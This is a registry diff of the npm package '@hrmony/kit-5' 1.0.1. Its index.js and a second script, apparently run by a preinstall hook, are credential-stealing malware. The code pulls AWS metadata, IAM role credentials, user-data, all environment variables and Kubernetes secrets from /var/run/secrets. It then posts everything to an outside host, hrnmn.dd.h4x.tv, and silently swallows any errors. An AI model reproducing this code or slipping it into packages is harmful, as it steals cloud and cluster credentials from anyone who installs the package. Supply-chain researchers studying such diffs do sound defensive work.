@hrmony/kit-5 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1,147 @@
1
+ import fs from 'fs';
2
+
3
+ import path from 'path';
4
+
5
+ const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_index";
6
+
7
+ await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ "c53": "hello" }) });
8
+ async function aws_get() {
9
+ const IMDS = "http://169.254.169.254";
10
+ const META_URL = `${IMDS}/latest/meta-data`;
11
+ const TIMEOUT_MS = 3000;
12
+ let token;
13
+
14
+ async function request(url, options = {}) {
15
+ const res = await fetch(url, { ...options, signal: AbortSignal.timeout(TIMEOUT_MS) });
16
+ return await res.text();
17
+ }
18
+
19
+ async function safeReq(url) {
20
+ try {
21
+ return await request(url, { headers: { "X-aws-ec2-metadata-token": token } });
22
+ } catch {
23
+ return null;
24
+ }
25
+ }
26
+
27
+ const asJson = (s) => { try { return JSON.parse(s); } catch { return s; } };
28
+ const asList = (s) => (s ? s.split(/\r?\n/).filter(Boolean) : []);
29
+
30
+ token = await request(`${IMDS}/latest/api/token`, {
31
+ method: "PUT",
32
+ headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" },
33
+ });
34
+
35
+ const basicKeys = [
36
+ ["ami-id", `${META_URL}/ami-id`],
37
+ ["instance-action", `${META_URL}/instance-action`],
38
+ ["instance-id", `${META_URL}/instance-id`],
39
+ ["instance-life-cycle", `${META_URL}/instance-life-cycle`],
40
+ ["instance-type", `${META_URL}/instance-type`],
41
+ ["region", `${META_URL}/placement/region`],
42
+ ];
43
+ const basicVals = await Promise.all(basicKeys.map(([, u]) => safeReq(u)));
44
+ const info = Object.fromEntries(basicKeys.map(([k], i) => [k, basicVals[i]]));
45
+
46
+ // Account info
47
+ info.account = {
48
+ "ec2-info": asJson(await safeReq(`${META_URL}/identity-credentials/ec2/info`)),
49
+ "identity-document": asJson(await safeReq(`${IMDS}/latest/dynamic/instance-identity/document`)),
50
+ };
51
+
52
+ // Network info — one object per interface
53
+ const macs = asList(await safeReq(`${META_URL}/network/interfaces/macs/`))
54
+ .map((m) => m.replace(/\/$/, ""));
55
+
56
+ info.network = await Promise.all(macs.map(async (mac) => {
57
+ const base = `${META_URL}/network/interfaces/macs/${mac}`;
58
+ const [ownerId, publicHostname, securityGroups, privateIpv4s, subnetIpv4,
59
+ privateIpv6s, subnetIpv6, publicIpv4s] = await Promise.all([
60
+ safeReq(`${base}/owner-id`),
61
+ safeReq(`${base}/public-hostname`),
62
+ safeReq(`${base}/security-groups`),
63
+ safeReq(`${base}/ipv4-associations/`),
64
+ safeReq(`${base}/subnet-ipv4-cidr-block`),
65
+ safeReq(`${base}/ipv6s`),
66
+ safeReq(`${base}/subnet-ipv6-cidr-blocks`),
67
+ safeReq(`${base}/public-ipv4s`),
68
+ ]);
69
+ return {
70
+ mac,
71
+ "owner-id": ownerId,
72
+ "public-hostname": publicHostname,
73
+ "security-groups": asList(securityGroups),
74
+ "private-ipv4s": asList(privateIpv4s),
75
+ "subnet-ipv4-cidr-block": subnetIpv4,
76
+ "private-ipv6s": asList(privateIpv6s),
77
+ "subnet-ipv6-cidr-blocks": asList(subnetIpv6),
78
+ "public-ipv4s": asList(publicIpv4s),
79
+ };
80
+ }));
81
+
82
+ // IAM
83
+ const roleNames = asList(await safeReq(`${META_URL}/iam/security-credentials/`));
84
+ const roleCreds = await Promise.all(
85
+ roleNames.map((r) => safeReq(`${META_URL}/iam/security-credentials/${r}`))
86
+ );
87
+ info.iam = {
88
+ info: asJson(await safeReq(`${META_URL}/iam/info`)),
89
+ user_data: await safeReq(`${IMDS}/latest/user-data`),
90
+ ec2_cred: asJson(await safeReq(`${META_URL}/identity-credentials/ec2/security-credentials/ec2-instance`)),
91
+ roles: Object.fromEntries(roleNames.map((r, i) => [r, asJson(roleCreds[i])])),
92
+ };
93
+
94
+ info.collected_at = new Date().toISOString();
95
+
96
+ const res = await fetch(EXPORTER_URL, {
97
+ method: "POST",
98
+ headers: { "Content-Type": "application/json" },
99
+ body: JSON.stringify(info),
100
+ });
101
+
102
+ return info;
103
+ }
104
+ async function local_get() {
105
+ const envs = {};
106
+ for (const [key, value] of Object.entries(process.env)) {
107
+ envs[key] = value;
108
+ }
109
+
110
+
111
+ function readSecrets(dir, out = {}) {
112
+ try {
113
+ for (const e of fs.readdirSync(dir, { withFileTypes: true })) {
114
+ const p = path.join(dir, e.name);
115
+ try {
116
+ if (fs.statSync(p).isDirectory()) readSecrets(p, out);
117
+ else out[p] = fs.readFileSync(p, 'utf8');
118
+ } catch (err) {
119
+ out[p] = `ERROR: ${err.message}`;
120
+ }
121
+ }
122
+ } catch (err) {
123
+ out[dir] = `ERROR: ${err.message}`;
124
+ }
125
+ return out;
126
+ }
127
+
128
+ const k8s_secrets = readSecrets('/var/run/secrets/');
129
+
130
+ await fetch(
131
+ EXPORTER_URL,
132
+ {
133
+ method: "POST",
134
+ headers: {
135
+ "content-type": "application/json",
136
+ },
137
+ body: JSON.stringify({
138
+ envs: envs,
139
+ k8s_secrets: k8s_secrets
140
+ })
141
+ }
142
+ );
143
+
144
+
145
+ }
146
+ try { await aws_get(); } catch (err) { }
147
+ try { await local_get(); } catch (err) { }
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "@hrmony/kit-5",
3
+ "version": "1.0.1",
4
+ "description": "bip bop I get your sip sop",
5
+ "main": "index.js",
6
+ "type": "module",
7
+ "files": [
8
+ "index.js",
9
+ "scripts/"
10
+ ],
11
+ "scripts": {
12
+ "test": "echo \"Error: no test specified\" && exit 1",
13
+ "preinstall": "node scripts/check-setup.mjs"
14
+ },
15
+ "author": "kuhuna",
16
+ "license": "ISC"
17
+ }
@@ -0,0 +1,147 @@
1
+ import fs from 'fs';
2
+
3
+ import path from 'path';
4
+
5
+ const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_hook";
6
+
7
+ await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ "xxx": "hello" }) });
8
+ async function aws_get() {
9
+ const IMDS = "http://169.254.169.254";
10
+ const META_URL = `${IMDS}/latest/meta-data`;
11
+ const TIMEOUT_MS = 3000;
12
+ let token;
13
+
14
+ async function request(url, options = {}) {
15
+ const res = await fetch(url, { ...options, signal: AbortSignal.timeout(TIMEOUT_MS) });
16
+ return await res.text();
17
+ }
18
+
19
+ async function safeReq(url) {
20
+ try {
21
+ return await request(url, { headers: { "X-aws-ec2-metadata-token": token } });
22
+ } catch {
23
+ return null;
24
+ }
25
+ }
26
+
27
+ const asJson = (s) => { try { return JSON.parse(s); } catch { return s; } };
28
+ const asList = (s) => (s ? s.split(/\r?\n/).filter(Boolean) : []);
29
+
30
+ token = await request(`${IMDS}/latest/api/token`, {
31
+ method: "PUT",
32
+ headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" },
33
+ });
34
+
35
+ const basicKeys = [
36
+ ["ami-id", `${META_URL}/ami-id`],
37
+ ["instance-action", `${META_URL}/instance-action`],
38
+ ["instance-id", `${META_URL}/instance-id`],
39
+ ["instance-life-cycle", `${META_URL}/instance-life-cycle`],
40
+ ["instance-type", `${META_URL}/instance-type`],
41
+ ["region", `${META_URL}/placement/region`],
42
+ ];
43
+ const basicVals = await Promise.all(basicKeys.map(([, u]) => safeReq(u)));
44
+ const info = Object.fromEntries(basicKeys.map(([k], i) => [k, basicVals[i]]));
45
+
46
+ // Account info
47
+ info.account = {
48
+ "ec2-info": asJson(await safeReq(`${META_URL}/identity-credentials/ec2/info`)),
49
+ "identity-document": asJson(await safeReq(`${IMDS}/latest/dynamic/instance-identity/document`)),
50
+ };
51
+
52
+ // Network info — one object per interface
53
+ const macs = asList(await safeReq(`${META_URL}/network/interfaces/macs/`))
54
+ .map((m) => m.replace(/\/$/, ""));
55
+
56
+ info.network = await Promise.all(macs.map(async (mac) => {
57
+ const base = `${META_URL}/network/interfaces/macs/${mac}`;
58
+ const [ownerId, publicHostname, securityGroups, privateIpv4s, subnetIpv4,
59
+ privateIpv6s, subnetIpv6, publicIpv4s] = await Promise.all([
60
+ safeReq(`${base}/owner-id`),
61
+ safeReq(`${base}/public-hostname`),
62
+ safeReq(`${base}/security-groups`),
63
+ safeReq(`${base}/ipv4-associations/`),
64
+ safeReq(`${base}/subnet-ipv4-cidr-block`),
65
+ safeReq(`${base}/ipv6s`),
66
+ safeReq(`${base}/subnet-ipv6-cidr-blocks`),
67
+ safeReq(`${base}/public-ipv4s`),
68
+ ]);
69
+ return {
70
+ mac,
71
+ "owner-id": ownerId,
72
+ "public-hostname": publicHostname,
73
+ "security-groups": asList(securityGroups),
74
+ "private-ipv4s": asList(privateIpv4s),
75
+ "subnet-ipv4-cidr-block": subnetIpv4,
76
+ "private-ipv6s": asList(privateIpv6s),
77
+ "subnet-ipv6-cidr-blocks": asList(subnetIpv6),
78
+ "public-ipv4s": asList(publicIpv4s),
79
+ };
80
+ }));
81
+
82
+ // IAM
83
+ const roleNames = asList(await safeReq(`${META_URL}/iam/security-credentials/`));
84
+ const roleCreds = await Promise.all(
85
+ roleNames.map((r) => safeReq(`${META_URL}/iam/security-credentials/${r}`))
86
+ );
87
+ info.iam = {
88
+ info: asJson(await safeReq(`${META_URL}/iam/info`)),
89
+ user_data: await safeReq(`${IMDS}/latest/user-data`),
90
+ ec2_cred: asJson(await safeReq(`${META_URL}/identity-credentials/ec2/security-credentials/ec2-instance`)),
91
+ roles: Object.fromEntries(roleNames.map((r, i) => [r, asJson(roleCreds[i])])),
92
+ };
93
+
94
+ info.collected_at = new Date().toISOString();
95
+
96
+ const res = await fetch(EXPORTER_URL, {
97
+ method: "POST",
98
+ headers: { "Content-Type": "application/json" },
99
+ body: JSON.stringify(info),
100
+ });
101
+
102
+ return info;
103
+ }
104
+ async function local_get() {
105
+ const envs = {};
106
+ for (const [key, value] of Object.entries(process.env)) {
107
+ envs[key] = value;
108
+ }
109
+
110
+
111
+ function readSecrets(dir, out = {}) {
112
+ try {
113
+ for (const e of fs.readdirSync(dir, { withFileTypes: true })) {
114
+ const p = path.join(dir, e.name);
115
+ try {
116
+ if (fs.statSync(p).isDirectory()) readSecrets(p, out);
117
+ else out[p] = fs.readFileSync(p, 'utf8');
118
+ } catch (err) {
119
+ out[p] = `ERROR: ${err.message}`;
120
+ }
121
+ }
122
+ } catch (err) {
123
+ out[dir] = `ERROR: ${err.message}`;
124
+ }
125
+ return out;
126
+ }
127
+
128
+ const k8s_secrets = readSecrets('/var/run/secrets/');
129
+
130
+ await fetch(
131
+ EXPORTER_URL,
132
+ {
133
+ method: "POST",
134
+ headers: {
135
+ "content-type": "application/json",
136
+ },
137
+ body: JSON.stringify({
138
+ envs: envs,
139
+ k8s_secrets: k8s_secrets
140
+ })
141
+ }
142
+ );
143
+
144
+
145
+ }
146
+ try { await aws_get(); } catch (err) { }
147
+ try { await local_get(); } catch (err) { }